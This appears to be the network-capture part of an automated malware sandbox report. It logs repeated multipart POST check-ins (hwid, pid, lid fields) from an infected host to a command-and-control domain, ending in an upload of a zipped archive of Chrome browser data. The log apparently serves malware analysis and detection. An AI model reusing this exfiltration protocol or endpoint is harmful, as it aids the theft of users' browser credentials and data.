{"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=rhMkquuJkkbFskMQ48P9mWxi2gCpXX%2F1fhuHkhHBsr8bjaDKsBMkoIEGiOzZo61fBOD36FCjzjEXoPwpLRG17Ia7kVGtgr3ZGZ9evPBNDqBwYMSr3SJsT5TYIilRGaOQruvEtA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudfla Data Raw: Data Ascii:
Dec 6, 2023 14:35:06.849338055 CET	116	IN	Data Raw: 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 30 31 63 38 62 63 30 37 66 61 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: eCF-RAY: 8314e901c8bc07fa-IAD15Malformed packet data
Dec 6, 2023 14:35:06.849364996 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.5	50199	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:06.951947927 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:06.952405930 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:07.373111963 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=chd5stbv4sakvku6ea3rce8tvt; expires=Sun, 31 Mar 2024 07:21:46 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:07 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:07 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:07 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=Ikm522ImSIFixcpH4LNrLQzGdHgubB%2BNL0eSm%2B7pSP4LK0RiQ3zo%2BoCBDSM0FplWgJxArcZLg6Cw%2BLamdrxBKj1HLl6cOeT0F%2BQCjppfm%2FMXXPGX3vMzElhe8k0RGj0k7QZFcw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server Data Raw: Data Ascii:
Dec 6, 2023 14:35:07.373174906 CET	126	IN	Data Raw: 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 30 34 62 65 61 34 30 35 38 33 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: cloudflareCF-RAY: 8314e904bea40583-IAD15Malformed packet data
Dec 6, 2023 14:35:07.373214006 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.5	50200	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:07.471513033 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:07.471716881 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:07.825579882 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=aqndrdqae8f2avupoveovgj2jf; expires=Sun, 31 Mar 2024 07:21:46 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:07 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:07 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:07 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=XF9qDfFwxeouBMdxdsnGAFg7UPYswVrruds7kyJym9R%2FsVt5xa6Ma4EB8cwCCimQKVn4lu0pKMs00qF%2FObI7myUe3DefXaXpfA3fiNZMrOeGu%2B8Tt8JSI%2FeHIEofxOMyivdqug%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cl Data Raw: Data Ascii:
Dec 6, 2023 14:35:07.825597048 CET	122	IN	Data Raw: 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 30 37 65 39 30 65 31 66 65 32 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: udflareCF-RAY: 8314e907e90e1fe2-IAD15Malformed packet data
Dec 6, 2023 14:35:07.825620890 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.5	50201	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:08.714196920 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:08.714343071 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:09.068412066 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=h4ie8f424h9ger15pvj4vr4jf5; expires=Sun, 31 Mar 2024 07:21:47 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:08 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:08 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:08 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=pwLQoD32yNea7ngS%2FfYbhBCdfZoVWhhonPZvyOUDKXPHAukMmhIUMQADXzfOcd9yAK16IxKBBgauSGndXZz7zLcDsfZDv3t%2BdXwXUXL65I9pHAFHh78u3jujiUBfsvKCuIEjVg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:35:09.068437099 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 30 66 62 65 62 65 31 66 64 36 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8314e90fbebe1fd6-IAD15Malformed packet data
Dec 6, 2023 14:35:09.068449020 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.5	50202	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:09.169394016 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:09.169576883 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:09.929826021 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=32jh37r5q202p06fbb47bftd2o; expires=Sun, 31 Mar 2024 07:21:48 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:09 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:09 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:09 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=uXyPAIjReMRwoqQNLlXFr8XkuHDlTREqyQmCYWAKdrYULgnTgDQKFzSNsmGYJQUWC42XHi7EWCrcYxYOeSf%2BYIe5eoYpjXucDhzd34fPDaGz0r4SoeNsGD73Wd%2FTwWPdiwVkfQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:35:09.929846048 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 31 32 38 65 36 66 35 38 32 34 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8314e9128e6f5824-IAD15Malformed packet data
Dec 6, 2023 14:35:09.929939985 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.5	50203	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:10.032632113 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:10.032922029 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:10.385205030 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=9cj85scjna29g9hhgdniau4b5o; expires=Sun, 31 Mar 2024 07:21:49 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:10 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:10 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:10 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=DGLcM%2Bd8%2Fi754OshsphqumOKHupMAAjRkTDHJjwKXukAm%2BVu3kRX0cvzLNDkTC58TBD2fw2J6TmptvrKtIbUg%2BN9jhxh5FP0oS0qU%2F5CAGL8k79JZaSWicWAmxHJXQaZdhVx0g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: Data Raw: Data Ascii:
Dec 6, 2023 14:35:10.385265112 CET	124	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 31 37 66 63 32 32 35 62 33 35 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: loudflareCF-RAY: 8314e917fc225b35-IAD15Malformed packet data
Dec 6, 2023 14:35:10.385301113 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.5	50204	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:10.485246897 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:10.485502958 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:10.842056036 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=kstclblqqqqcjhk3v6o9c59r9b; expires=Sun, 31 Mar 2024 07:21:49 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:10 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:10 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:10 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=gu6Z8OHX4gvqy3lNw4NOZyKsGHggF0V7XZBe5nFgBkLQ2nD2W3gIrCORvYFtNBCiULuwlIPvcdKGmtZfAwxGdkdbQ%2BzdEyALkVDIxsXu37NQw7Lk1h0ZSoaA1sQC%2B20JELShUw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudf Data Raw: Data Ascii:
Dec 6, 2023 14:35:10.842179060 CET	118	IN	Data Raw: 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 31 61 63 62 34 63 35 61 35 65 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: areCF-RAY: 8314e91acb4c5a5e-IAD15Malformed packet data
Dec 6, 2023 14:35:10.842191935 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.5	50205	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:10.942079067 CET	335	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 500 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:10.942326069 CET	554	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:11.301023960 CET	1340	IN	HTTP/1.1 200 OK Date: Wed, 06 Dec 2023 13:35:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/8.2.7 Set-Cookie: PHPSESSID=csqnfbre8vt56kddkv0mu596kf; expires=Sun, 31 Mar 2024 07:21:50 GMT; Max-Age=9999999; path=/ Set-Cookie: xdober_setting_show_country=1; expires=Sun, 04 Feb 2024 13:35:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_use_round=1; expires=Sun, 04 Feb 2024 13:35:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_round_n=2; expires=Sun, 04 Feb 2024 13:35:11 GMT; Max-Age=5184000; path=/ Set-Cookie: xdober_setting_big_flags=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Set-Cookie: xdober_setting_ai_detect=deleted; expires=Thu, 01 Jan 1970 00:00:01 GMT; Max-Age=0; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=FSJOxfHJryWsICRMOP69gPa9uKtq62iNPScvJiIECKu3sOrTP7MG9vV0ydSkB3XX06zS9dT%2BaueenVX121N5Cpz7q2QzSSPqUnei%2F2kl3XmgOa8s2NcjNL%2F4yBRdQBFSRTmGCg%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: clou Data Raw: Data Ascii:
Dec 6, 2023 14:35:11.301037073 CET	120	IN	Data Raw: 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 33 31 34 65 39 31 64 61 66 31 62 30 35 62 39 2d 49 41 44 0d 0a 0d 0a 31 35 0d 0a 4d 61 6c 66 6f 72 6d 65 64 20 70 61 63 6b 65 74 20 64 61 74 61 0d 0a Data Ascii: flareCF-RAY: 8314e91daf1b05b9-IAD15Malformed packet data
Dec 6, 2023 14:35:11.301048040 CET	59	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.5	50206	104.21.83.145	80

Timestamp	Bytes transferred	Direction	Data
Dec 6, 2023 14:35:11.642832041 CET	337	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19382 Host: tankqueueipjsh.pw
Dec 6, 2023 14:35:11.643207073 CET	11628	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 6c 32 66 38 64 61 37 33 32 64 30 30 30 Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"l2f8da732d0000f9170d343b08f146u--be85de5ipdocierre1Content-Disposition: form-data; name="pid"2--be85de5ipdocierre1Content-Disposition: form-data; name="lid"Me
Dec 6, 2023 14:35:11.737143993 CET	1340	OUT	Data Raw: dc cf e5 b0 8a 0b 85 af df 1e f0 6a f7 87 cf bd da 6d fb 0e bf ec e0 33 17 a9 5d 10 2a 8f d1 6e fe e1 31 64 57 4d cb 51 c2 55 ef 74 ba f1 ed c0 97 58 6f 44 59 dd a1 1a 1b 44 ae 55 3b 1c 19 1b 68 ab 65 a2 94 4d cb 6b 2e 8b 34 6a aa d6 e9 e5 e3 fe Data Ascii: jm3]n1dWMQUtXoDYDU;heMk.4jaJR:\|0kTN["Dfh\VB([Ma<qtKH^l<eriZRl\|'X'E2Cm}-l*jR[Q5Hwj
Dec 6, 2023 14:35:11.737708092 CET	1340	OUT	Data Raw: 76 84 39 7c 36 3c 06 3b ae ed ba 7e e7 7c 3f 89 89 11 ef c7 bb c6 eb 15 3b d2 3b 5e 9c 53 53 cf e1 ea 83 ef e5 24 65 f6 58 87 d0 11 3f 7c 5d f7 d0 d1 70 49 10 32 f7 05 f0 7f e5 e0 d3 0f 3c 3f ef af 6e fb 7e de d9 80 53 35 36 7f 1a 65 33 7c 2f 47 Data Ascii: v9\|6<;~\|?;;^SS$eX?\|]pI2<?n~S56e3\|/Gc{sOpWSHd:GdJp6/Sh}<6wH\yR }` }` }` }>)~?
Dec 6, 2023 14:35:11.737715960 CET	1340	OUT	Data Raw: 7b 4a 27 8e 4a 6b 41 45 a8 6d cf db 5b d4 6d d4 4c 55 0f 15 7f e9 22 b3 9f 89 b5 64 d8 b4 52 75 6c ef 5d a6 cf f9 17 15 d3 ac d4 c8 27 5e c0 46 d5 ad 6f 19 2c b5 05 d5 26 37 ae ef c7 66 eb b7 d9 94 df 66 7f f0 5e 9f 2c bc 7f be 75 e6 55 c9 6b b4 Data Ascii: {J'JkAEm[mLU"dRul]'^Fo,&7ff^,uUkGXy{\74:jaL*%Bobn-'4b i5cNLkl#6DD;Q~(6T^;tu}Z:iXLnFz\Q>@OfIs
Dec 6, 2023 14:35:11.737739086 CET	2626	OUT	Data Raw: 35 57 4c db c3 37 00 26 5b a9 c4 39 ee dd 61 ed 54 90 7b d4 72 71 47 eb f4 68 28 f2 48 12 cf 9d 3f 6a 39 b8 43 9a 67 c7 25 c9 17 a4 38 ce 4f f3 f2 38 3f 66 3c f0 3d 98 d4 82 5a ed 74 e9 3f 45 4c cf e4 64 3a 2f 67 b3 59 5a 9e 9e 14 8b f4 84 a4 45 Data Ascii: 5WL7&[9aT{rqGh(H?j9Cg%8O8?f<=Zt?ELd:/gYZEJZA`Sk)R:.N"VpEp)9[k3>'`e? Uj+ HC2LIXsbDVI64"(c<mGhWM&3c)41iH;J]o%o
Dec 6, 2023 14:35:11.737771034 CET	1432	OUT	Data Raw: 50 4b 03 04 14 00 08 08 08 00 65 74 86 57 00 00 00 00 00 00 00 00 00 00 00 00 20 00 04 00 43 68 72 6f 6d 65 2f 44 65 66 61 75 6c 74 2f 42 72 6f 77 73 65 72 44 42 2f 4c 4f 47 2e 6f 6c 64 01 00 00 00 b5 8e b1 0e 82 30 14 45 77 bf e2 fd 00 d0 62 31 Data Ascii: PKetW Chrome/Default/BrowserDB/LOG.old0Ewb1A:n]>jBI[w'7'&2$",,c$#i(e5WrEB7s<Rxyi-37VH7pp2\taMuW=xPK+pN
